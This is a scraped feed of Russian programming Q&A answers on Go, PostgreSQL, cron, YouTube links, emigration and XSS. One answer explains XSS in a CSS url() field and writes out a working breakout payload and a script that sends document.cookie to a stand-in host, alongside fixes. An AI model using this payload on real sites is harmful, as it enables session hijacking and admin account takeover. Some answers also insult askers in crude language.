• Через какой алгоритм решать эту задачу?

    mayton2019
    @mayton2019
    Bigdata Engineer
    Стоя на 12 этаже можно за 1 ход попасть на 23 этах (Вверх) или на 6 этаж (Вниз).
    Стоя на 6 этаже можно за 1 ход попасть на 11 этаж (ВВ) или на 3 этах.
    (и так далее)

    Вот такой граф получается. Немного напоминает Гипотезу Коллатца. За счет минус единички
    адрес меняется четность и есть надежда что мы не зациклимся а все таки куда-то двигаемся.
    Значит можно упорным баловством с кнопками куда-то приехать.

    Вобщем нужен орграф с 70 вершинами и опционально с 2 ребрами для каждой вершины.
    Недостижимые вершины - это этажи куда нельзя будет попасть соотвественно.
    Ответ написан
    4 комментария
  • Что не так с потоками?

    @falconandy
    С "потоками" всё так, просто вы неправильно работаете с "массивом".

    perftracing = append(perftracing, 0) при исчерпании выделенной памяти выделяет новый блок памяти (по-моему удвоенного размера) и копирует текущие элементы в новый блок. Соответственно часть (половина) горутин пишет по старым адресам, а в выхлопе данные из последнего выделенного блока памяти.

    ...
    0 0 0 0 5197273 5671085 5177800 5797080 
    0 0 0 0 5197332 5671147 5177908 5797137 
    0 0 0 0 5197388 5671208 5178008 5797195 
    0 0 0 0 5197450 5671269 5178118 5797248
    ...


    Если создать "массив" заранее со всеми элементами, то всё выводится нормально:
    threads := 4
    perftracing := make([]int64, threads)
    for i := 0; i < threads; i++ {
    	go thread(&perftracing[i])
    	time.Sleep(1)
    }


    ...
    5593758 7107822 5575001 6449763 6321574 5535152 5728000 7196092 
    5593813 7107884 5575056 6449859 6321628 5535209 5728060 7196153 
    5593879 7107959 5575122 6449976 6321695 5535275 5728122 7196217 
    5593936 7108030 5575180 6450079 6321757 5535339 5728190 7196285 
    ...
    5594008 7108109 5575251 6450199 6321821 5535403 5728251 7196349


    Ну и вместо time.Sleep(1) вы наверно имели в виду что-то типа time.Sleep(time.Second * 1)

    Go 1.19.3, Kubuntu 22.04
    Ответ написан
    Комментировать
  • Порекомендуйте подходящую базу данных?

    Вам не нужна бд в принципе.
    При собеседование почему-то у программистов в 100% случаев возникает тупик в вопросе для чего нужна mysql
    и когда спрашиваешь почему именно его используют до вопроса с транзакциями не доходит практически никогда.
    А ведь именно из-за них ее используют.
    Так вот тут у вас транзакции не нужны. Тупо 1 инсерт
    Как следствие вам хватит и обычного лог файла который можно удобно парсить, дабы для этого вообще не требуется никакого ПО. да и того в достатке.
    Ротация логов и тд и тп, в общем это до вас придумали.
    Так же для ваших целей и яндекса и гугла есть соответствующие инструменты ( особенно у гугла с отчётами и подобной хренью, не понимаю зачем вам вообще держать эти данные локально)
    Ответ написан
    6 комментариев
  • Многократное использование len() или кеширование в переменную?

    uvelichitel
    @uvelichitel Куратор тега Go
    habrahabr.ru/users/uvelichitel
    А зачем вообще может понадобиться такая конструкция когда есть встроенный оператор
    for i:= range data {}
    компактно и идиоматично
    Ответ написан
    Комментировать
  • Какой самый быстрый способ проверить доступность сайтов?

    ipatiev
    @ipatiev
    Потомок старинного рода Ипатьевых-Колотитьевых
    Это не вопрос ли на собеседовании в бадушечке?

    Грубо, 125М на ноду, 86к секунд в сутках, получается полторы тыщи хостов в секунду.
    Если взять среднее время отклика в пол-секунды, то надо от 700 параллельных процессов.
    А уж кто там крутится - без разницы, тупо курл.
    Ну и диспетчер, который будет всем этим управлять.

    Хотя вру. какие пол-секунды. Мы ж доступность проверяем, то есть какая-то часть будет упираться в таймаут => процессов сильно за тыщу. Боюсь, вдс лопнет.

    В общем, ответ как обычно - наймите специалиста/сервис
    Ответ написан
    24 комментария
  • В чем сложность поддержки проектов на Go?

    EvgenyMamonov
    @EvgenyMamonov Куратор тега Go
    Senior software developer, system architect
    Более четырёх лет пишу на Go, лично для меня поддерживать проекты на других языках сложнее ))
    До Go много лет писал на Perl/PHP/Python/Java/C/Ruby on rails/JavaScript и "крутил" еще не мало чего.
    Сейчас пишу только на Go и Python.

    Основная сложность в Go - это то, что если вы начинаете писать "криво" - то писать так очень трудно :))
    Подход к реализации в Go достаточно непривычный для тех, кто приходит из скриптовых языков.
    Например запрет циклических импортов - это самое первое, что "взрывает" мозг :)
    Нужно время чтобы адаптироваться после скриптовых языков.

    Про обработку ошибок - это да, это, пожалуй, единственное что мне не нравится в Go.
    Для себя я решил эту проблему за 1-2 часа :) и больше меня это не беспокоит.

    По ООП - в Go оно есть, лично мне оно нравится намного больше, чем ООП в других языках ))
    Всё, что реально нужно - всё есть, но при этом ничего лишнего нет.
    Интерфейсы - просто прекрасны :)) Каналы, горутины - это просто "счастье" :))

    А если объективно - то я бы не стал говорить о сложности поддержки проекта применимо к какому то конкретному языку.

    Как правило сложность поддержки возникает там, где нормальная архитектура не заложена в проект.
    Т.е. проект как могла так и писала куча людей плюс, как обычно, сделать нужно было побыстрее )), от этого никто вообще не думал об архитектуре и получилось то, что получилось :))
    Про покрытие тестами и документацию мы вообще не говорим )))

    А когда в таком проекте нужно что-то доработать или исправить ошибку, то почти всегда очень не просто найти то место, где нужно править, и после правок в одном месте, как правило, что-то ломается в другом :)

    Как минимум, нужно соблюдать принципы SOLID, иначе код получается, мягко говоря, не поддерживаемым.
    Но понимание этих принципов так же приходит с опытом, их нельзя научиться соблюдать просто прочитавши книгу или статью. Нужно сделать несколько проектов используя эти принципы, написать криво, понять как было бы правильно, всё переделать и так несколько раз.
    Тогда, со временем, начнёт получаться понятный и легко поддерживаемый код.

    Так мы приходим к тому, что если опыта нет - тогда проект поддерживать будет достаточно тяжело не взирая на язык и т.д.

    Хочется добавить, что как бы не писали про Go, что он простой и т.д. - он явно сложнее Python/PHP и т.д.
    Это еще один повод сказать, что поддерживать код на Go сложно ))

    Также стоит учитывать, что проекты которые пишут на Go зачастую сложнее, чем проекты для которых выберут скриптовый язык. Go выбирают когда планируются большие нагрузки, параллельная обработка чего-либо и т.д., а это, в свою очередь, дополнительно усложняет проект.
    Ответ написан
    7 комментариев
  • Что должен знать junior golang backend разработчик/разработчик на golang?

    @andreyzvd
    Backend Developer
    Я хочу стать junior golang backend разработчиком

    Не занимайтесь ерундой - джуниоры на GO совершенно не нужны. Это язык для сложных задач, его всегда учат как второй (чаще к какому-нибудь скриптовому языку, типа PHP, JS или Python)
    Ответ написан
    1 комментарий
  • Как искать фразы в инвертированном индексе?

    inoise
    @inoise
    Solution Architect, AWS Certified, Serverless
    Term в таком случае должен составлять 2 слова. Никакой магии
    Ответ написан
  • За счет чего достигается высокая скорость сайта?

    TTATPuOT
    @TTATPuOT
    https://code.patriotovsky.ru/
    Чего тут быстрого? Самая стандартная скорость загрузки. Только сделано аккуратно.
    Сайт пользуется всем тем, чем принято пользоваться при оптимизации: отложенной загрузкой неважного контента, шрифтов, картинок, побочных блоков. Сжатие, кеширование. Ну и работа бекенда. Аккуратно использован WordPress, а не как принято - нафигачить плагинов и в путь.
    Здесь ничего феноменального нет.

    Почитайте банально в интернете о том, как это делается. Например: https://habr.com/ru/company/kingservers/blog/346956/
    Ответ написан
    7 комментариев
  • Если цель свалить в другую страну и там работать программистом, нужен ли диплом для визы?

    1) Человек, который орет "хочу свалить в другую страну" - малолетний дебил, который не определился с тем, что ему нужно в жизни.
    2) Таких малолетних дебилов куча. Открываешь какой-то ролик "айти-мигранта" из какого-нибудь вьетнами, чили - сидит порет какую-то херню. И даже сам себе ответить не может, зачем и для чего он туда поехал.
    __

    Грамотный подход:

    1) Выбираем 1-3 страны, которые ты считаешь перспективными.
    2) Изучаем требования к кандидатам.
    3) Изучаем методы миграции.
    4) Принимаешь решение по конкретной стране - есть смысл, нет смысла итд.
    5) Начинаешь вкладывать время, силы, деньги, чтобы пролезть в горлышко миграции.
    6) Получаешь то, что ты хотел (либо понимаешь, что прямой дороги пока нет, и надо как-то обходами действовать).
    7) Радуешься жизни, либо понимаешь, что как-то не очень-то и хорошо получилось.
    Ответ написан
    1 комментарий
  • Как построить полиноминальный тренд?

    @kamenyuga
    Понадобилось сделать аппроксимацию полиномом m-й степени...
    Подозреваю ограничение точности double...
    В чём может быть проблема?

    При решении таких задач хорошо бы опираться не на подозрения, а на математику - Феномен Рунге. Эта тема обычно проходится в универах в рамках курсов по вычислительной математике (ах, какая нелепость это ваше высшее образование). Или можно хотя бы погуглить "интерполяция полиномами высоких степеней". Тема изучена вдоль и поперек уже сотню лет как.
    Ответ написан
    1 комментарий
  • Как максимально быстро найти точку на верном пути прохождения лабиринта?

    @rPman
    Обычный поиск в ширину с пометками о прохождении, так как у вас нет весов на ребрах, найдет оптимальный путь 'быстрее' всего. Вы не можете дать ответ, находится ли данная ячейка на оптимальном пути, пока его не найдете, поэтому - во время поиска в ширину у вас список текущих решений, как только хотя бы одно решение найдено, вы прекращаете поиск и проверяете, находится ли указанная вершина на одном из пути (их может быть несколько одновременно).
    Ответ написан
    2 комментария
  • Можно-ли скачать видео с YouTube используя DevTools?

    Есть такая «секретная» ссылка: www.youtube.com/get_video_info?video_id=XXXXXX
    Вместо XXXXXX подставьте хэш видео, который в ссылке на ролик, типа youtu.be/BWCiWZtrWXU после слеша.

    По этой (первой) ссылке вернутся URL-encoded данные. Распакуйте их и возьмите параметр url_encoded_fmt_stream_map. Его значение опять надо распаковать как URL-параметры. И из результата вытащить параметр url – это ссылка на единый скачивабельный видеофайл.

    Например, в консоли браузера:
    function getUrlParams(search) {
        let hashes = search.slice(search.indexOf('?') + 1).split('&')
        let params = {}
        hashes.map(hash => {
            let [key, val] = hash.split('=')
            params[key] = decodeURIComponent(val)
        })
    
        return params
    }
    var s = '------'; // здесь длиннющая строка из ответа /get_video_info
    var a = getUrlParams(s);
    var b = getUrlParams(a.url_encoded_fmt_stream_map);
    console.log(b.url); // эту ссылку открываем в браузере - это скачиваемый видеофайл


    Очень надеюсь, что вы покопаетесь в этих данных более подробно, разберётесь, как получать прямые ссылки на скачиваемые файлы во всех форматах и размерах, которые предлагает YouTube, и напишете короткий материал на Хабр по результатам, а также опубликуете gist с рабочим кодом для консоли браузера.
    Ответ написан
    3 комментария
  • Как лучше запускать задачу из cron каждые 10 секунд?

    saboteur_kiev
    @saboteur_kiev Куратор тега Linux
    software engineer
    запускать каждые 10 секунд - не слишком выгодно.

    Напишите себе демона и пусть он все время работает с банальной паузой или сверкой timestamp.
    А в кроне просто периодически проверяйте запущен он или нет.
    Ответ написан
    Комментировать
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Как ускорить запрос Postgresql?

    @remzalp
    Программер чего попало на чем попало
    Вообще не с потгресом работаю, но...
    Смущает блок (select session from table_2 group by session)
    Получается, Вы берёте (и сортируете!) все номера сессий из таблицы 2, в которой 6 421 212 строк, только ради того, чтобы проджоинить с таблицей 1, у которой 4 723 505 строк. Итого сортируем 6 миллионов строк, чтобы отфильтровать 4 миллиона.

    Может быть имеет смысл вывернуть запрос наизнанку:
    SELECT * FROM table_1 
    WHERE primarykey=(SELECT session FROM table_2 WHERE table_2.session=table_1.primarykey LIMIT 1) 
    ORDER BY "starttime" DESC LIMIT 20;


    В итоге большую сортировку сессий меняем на штучные проверки (по индексу!) для выбираемых строк в соответствии с датой. Еще можно порезать диапазон дат, чтобы работать с недельным/месячным набором, а не всей историей.
    Ответ написан
    1 комментарий
  • Как ускорить запрос Postgresql?

    Melkij
    @Melkij
    PostgreSQL DBA
    Нужен explain (analyze,buffers), сильно желательно с track_io_timing = on в конфиге.

    параметр work_mem на данный запрос не может оказывать почти никакого влияния

    Оказывает. Если планировщик решит, что work_mem не хватает - не будет hash join. Для сортировки 27кб, очевидно, без разницы.

    Впрочем, зачем вам вообще join подзапроса где одна только группировка подзапроса занимает половину времени ответа? Вам простой exists нужен.
    SELECT "t1".* FROM table_1 as t1
    where exists (select 1 from table_2 as t2 WHERE t1.primarykey=t2.session)
    ORDER BY "starttime" DESC LIMIT 20;

    А дальше know your data. Если по starttime DESC быстро находятся нужные exists - будет хорошо. Если exists мало - стоит подумать, а не денормализовать ли этот признак в table_1 с триггером для консистентности в table_2 и частичным индексом по starttime where t2_exists.

    Поля session и primarykey в формате uuid

    Не очень хорошая идея. Оно и сильно медленнее при сравнении относительно bigint (особенно если речь о varchar, а не uuid типе данных) и из-за случайного распределения несколько сбивает с толку статистику планировщика.
    Ответ написан
    1 комментарий
  • Как выполнить заморозку гема?

    DevMan
    @DevMan
    прописать версию в гем-файле. собственно, открыть его найти строку с упоминанием slim-rails и заменить ее на gem 'slim-rails', '3.1.1'
    Ответ написан
    Комментировать